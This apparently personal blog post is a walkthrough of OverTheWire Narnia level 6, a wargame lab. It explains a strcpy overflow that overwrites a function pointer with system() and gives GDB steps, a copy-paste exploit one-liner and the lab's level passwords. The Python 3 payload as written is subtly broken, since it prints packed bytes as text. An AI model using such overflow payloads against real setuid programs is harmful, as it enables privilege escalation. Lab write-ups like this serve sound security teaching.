Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Narnia Level 6 → 7 tutorial!!

Login

Log in with the password from Level 5 → 6 (my run gave neezoCaeng):

ssh narnia6@narnia.labs.overthewire.org -p 2226
# password: neezoCaeng

Task

Binary to exploit: /narnia/narnia6

The program accepts two arguments. Internally, it stores them in small buffers (b1, b2) and then calls a function pointer fp, which is initially set to point to puts(). By overflowing one of the arguments, we can overwrite the function pointer and redirect execution.


Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

unsigned long get_sp(void) {
    __asm__("movl %esp,%eax\n\t"
            "and $0xff000000, %eax");
}

int main(int argc, char *argv[]){
    char b1[8], b2[8];
    int (*fp)(char *);
    int i;

    fp = puts;
    i = 1;

    if(argc!=3){
        printf("%s b1 b2\n", argv[0]);
        exit(-1);
    }

    /* clear environment */
    for(i=0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));

    /* clear arguments */
    for(i=3; argv[i] != NULL; i++)
        memset(argv[i], '\0', strlen(argv[i]));

    strcpy(b1,argv[1]);
    strcpy(b2,argv[2]);

    if(((unsigned long)fp & 0xff000000) == get_sp())
        exit(-1);

    setreuid(geteuid(),geteuid());
    fp(b1);

    exit(1);
}

A little bit of Theory

  • fp is initialized as pointer to puts.
  • The second argument (argv[2]) is copied into b2 using strcpy without bounds checks. Since b2 is only 8 bytes, long input will overflow into adjacent memory — including fp.
  • If we overwrite fp with the address of system(), then the call fp(b1) becomes system(b1).
  • If b1 contains the string "sh", we get a shell with narnia7 privileges.

Key notes:

  • The program erases environment and extra args, so we cannot rely on env-passed shellcode.
  • This is a classic function pointer overwrite attack.

Step-by-step Solution

1) Inspect the binary in GDB

gdb /narnia/narnia6

Disassemble main and set a breakpoint just before the call fp(b1):

(gdb) disas main
(gdb) break *main+319

Run with dummy args:

(gdb) run AAAA BBBB

Dump the stack around $esp:

(gdb) x/16wx $esp

You’ll see both arguments (AAAA, BBBB) and the pointer to puts stored in memory.


2) Find system() address

(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c850 <system>

Record this value — it will replace fp.


3) Craft payloads

  • argv[1] = "sh;" + padding (this will be executed by system)
  • argv[2] = overflow string to overwrite fp with system() address.

Example run:

./narnia6 $(python3 -c 'print("sh;" + "A"*5)') $(python3 -c 'import struct;print("B"*4 + struct.pack("<I", 0xf7e4c850))')

Replace 0xf7e4c850 with the actual system address from your GDB session.


4) Verify exploit

whoami
# narnia7
cat /etc/narnia_pass/narnia7

My run gave:

ahkiaziphu

Password

This is the password from my run. Yours may differ depending on server snapshot:

ahkiaziphu

Troubleshooting

  • Segmentation fault before shell → Wrong overwrite alignment. Try adjusting padding in argv[1] and argv[2].
  • No shell, just prints “sh”fp wasn’t overwritten. Recheck the offset and confirm your system() address.
  • Illegal instruction → You may have corrupted the stack with bad bytes. Ensure your overwrite is exact and only touches fp.

Copy-paste Quick Exploit

system_addr=0xf7e4c850   # replace with the address from your GDB
/narnia/narnia6 $(python3 -c 'print("sh;" + "A"*5)') $(python3 -c "import struct;print('B'*4 + struct.pack('<I', $system_addr))")
whoami
cat /etc/narnia_pass/narnia7

Congrats 🎉 You exploited a function pointer overwrite to redirect execution from puts to system("sh"). On to Level 7 → 8!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with